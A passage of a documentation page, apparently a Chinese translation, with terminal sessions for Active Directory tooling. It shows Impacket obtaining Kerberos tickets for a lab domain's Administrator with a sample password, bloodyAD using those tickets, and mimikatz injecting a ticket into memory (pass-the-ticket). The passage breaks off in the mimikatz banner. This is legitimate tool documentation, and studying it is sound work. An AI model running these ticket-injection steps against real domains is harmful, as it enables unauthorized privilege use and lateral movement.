&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Get a TGT (For GSSAPI the server name must be the FQDN)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;getTGT&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-dc-ip&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt; &lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="nv"&gt;@ssw0rd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Impacket&lt;/span&gt; &lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;9&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;24&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Copyright&lt;/span&gt; &lt;span class="mf"&gt;2021&lt;/span&gt; &lt;span class="n"&gt;SecureAuth&lt;/span&gt; &lt;span class="n"&gt;Corporation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mf"&gt;2022&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;05&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;05&lt;/span&gt; &lt;span class="mf"&gt;10&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;11&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;19.028227&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Saving&lt;/span&gt; &lt;span class="n"&gt;ticket&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ccache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Get a ST (For GSSAPI the spn is case sensitive)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;getST&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-no-pass&lt;/span&gt; &lt;span class="n"&gt;-k&lt;/span&gt; &lt;span class="n"&gt;-dc-ip&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt; &lt;span class="n"&gt;-spn&lt;/span&gt; &lt;span class="n"&gt;ldap&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;win-ij5b521uo5l&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;BLOODY.LOCAL/Administrator&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Impacket&lt;/span&gt; &lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;9&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;24&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Copyright&lt;/span&gt; &lt;span class="mf"&gt;2021&lt;/span&gt; &lt;span class="n"&gt;SecureAuth&lt;/span&gt; &lt;span class="n"&gt;Corporation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Using&lt;/span&gt; &lt;span class="n"&gt;TGT&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;cache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Getting&lt;/span&gt; &lt;span class="n"&gt;ST&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Saving&lt;/span&gt; &lt;span class="n"&gt;ticket&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ccache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Use bloodyAD with Kerberos auth (using a TGT or a ST)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## Add the credential cache generated in the default path&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;export&lt;/span&gt; &lt;span class="n"&gt;KRB5CCNAME&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Administrator.ccache&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## Check if the ticket is in default path, not expired, for the right client/server&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;klist&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Ticket&lt;/span&gt; &lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;FILE&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ccache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;Default&lt;/span&gt; &lt;span class="n"&gt;principal&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="nv"&gt;@BLOODY&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;LOCAL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Valid&lt;/span&gt; &lt;span class="n"&gt;starting&lt;/span&gt; &lt;span class="n"&gt;Expires&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt; &lt;span class="n"&gt;principal&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mf"&gt;05&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;05&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2022&lt;/span&gt; &lt;span class="mf"&gt;19&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;42&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;54&lt;/span&gt; &lt;span class="mf"&gt;06&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;05&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2022&lt;/span&gt; &lt;span class="mf"&gt;05&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;42&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;54&lt;/span&gt; &lt;span class="n"&gt;krbtgt&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;BLOODY&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;LOCAL&lt;/span&gt;&lt;span class="nv"&gt;@BLOODY&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;LOCAL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;renew&lt;/span&gt; &lt;span class="k"&gt;until&lt;/span&gt; &lt;span class="mf"&gt;06&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;05&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2022&lt;/span&gt; &lt;span class="mf"&gt;19&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;42&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;55&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## If your DNS doesn&amp;#39;t resolve&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## Note: second level domain name with &amp;#34;.local&amp;#34; added to /etc/hosts doesn&amp;#39;t resolve on some Manjaro versions&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# see https://forum.manjaro.org/t/mapping-for-etc-hosts-entries-with-local-as-tld-isnt-working/116021&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="nb"&gt;echo &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;192.168.10.2 win-ij5b521uo5l.bloody.local bloody.local&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## And now the magic happens&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-k&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="nb"&gt;WIN-IJ5B521UO5L&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;object&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;DC=bloody,DC=local&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-attr&lt;/span&gt; &lt;span class="nb"&gt;msDS-Behavior&lt;/span&gt;&lt;span class="n"&gt;-Version&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;distinguishedName&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;msDS-Behavior&lt;/span&gt;&lt;span class="n"&gt;-Version:&lt;/span&gt; &lt;span class="n"&gt;DS_BEHAVIOR_WIN2016&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="windows"&gt;Windows&lt;/h2&gt;
&lt;p&gt;以下代码演示了如何在 Windows 环境中生成 Kerberos TGT 和 ST，以及它们如何被 &lt;a href="https://github.com/CravateRouge/bloodyAD" target="_blank" rel="noopener"&gt;bloodyAD&lt;/a&gt; 使用。当然，在大多数情况下，您已经有了可用的票据。在这种情况下，直接跳到 &lt;a href="https://github.com/CravateRouge/bloodyAD" target="_blank" rel="noopener"&gt;bloodyAD&lt;/a&gt; 部分。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Get a TGT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;PS &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="p"&gt;.\&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;Scripts&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;getTGT&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-dc-ip&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt; &lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="nv"&gt;@ssw0rd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Impacket&lt;/span&gt; &lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;9&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;24&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Copyright&lt;/span&gt; &lt;span class="mf"&gt;2021&lt;/span&gt; &lt;span class="n"&gt;SecureAuth&lt;/span&gt; &lt;span class="n"&gt;Corporation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Saving&lt;/span&gt; &lt;span class="n"&gt;ticket&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ccache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Get a ST from the TGT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;PS &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;ren &lt;/span&gt;&lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ccache&lt;/span&gt; &lt;span class="n"&gt;adminTGT&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ccache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;PS &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$env:krb5ccname&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;adminTGT.ccache&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;PS &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="p"&gt;.\&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;Scripts&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;getST&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-no-pass&lt;/span&gt; &lt;span class="n"&gt;-k&lt;/span&gt; &lt;span class="n"&gt;-dc-ip&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt; &lt;span class="n"&gt;-spn&lt;/span&gt; &lt;span class="n"&gt;ldap&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;WIN-IJ5B521UO5L&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;BLOODY/Administrator&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Impacket&lt;/span&gt; &lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;9&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;24&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Copyright&lt;/span&gt; &lt;span class="mf"&gt;2021&lt;/span&gt; &lt;span class="n"&gt;SecureAuth&lt;/span&gt; &lt;span class="n"&gt;Corporation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Using&lt;/span&gt; &lt;span class="n"&gt;TGT&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;cache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Getting&lt;/span&gt; &lt;span class="n"&gt;ST&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Saving&lt;/span&gt; &lt;span class="n"&gt;ticket&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ccache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Use bloodyAD with Kerberos auth (using a TGT or a ST)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## First convert ccache in kirbi if necessary&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;PS &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="p"&gt;.\&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;Scripts&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;ticketConverter&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ccache&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;kirbi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Impacket&lt;/span&gt; &lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;9&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;24&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Copyright&lt;/span&gt; &lt;span class="mf"&gt;2021&lt;/span&gt; &lt;span class="n"&gt;SecureAuth&lt;/span&gt; &lt;span class="n"&gt;Corporation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;converting&lt;/span&gt; &lt;span class="n"&gt;ccache&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;kirbi&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## Inject the ticket in memory if needed&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;PS &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;.\&lt;/span&gt;&lt;span class="n"&gt;mimikatz&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;kerberos::ptt d:\gold\documents\bloodyAD\Administrator.kirbi&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="c"&gt;#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="c"&gt;## ^ ##. &amp;#34;A La Vie, A L&amp;#39;Amour&amp;#34; - (oe.eo)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c"&gt;## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c"&gt;## \ / ## &amp;gt; https://blog.gentilkiwi.com/mimikatz&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;## v ##&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;Vincent&lt;/span&gt; &lt;span class="n"&gt;LE&lt;/span&gt; &lt;span class="n"&gt;TOUX&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;vincent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;letoux&lt;/span&gt;&lt;span class="nv"&gt;@gmail&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;com&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
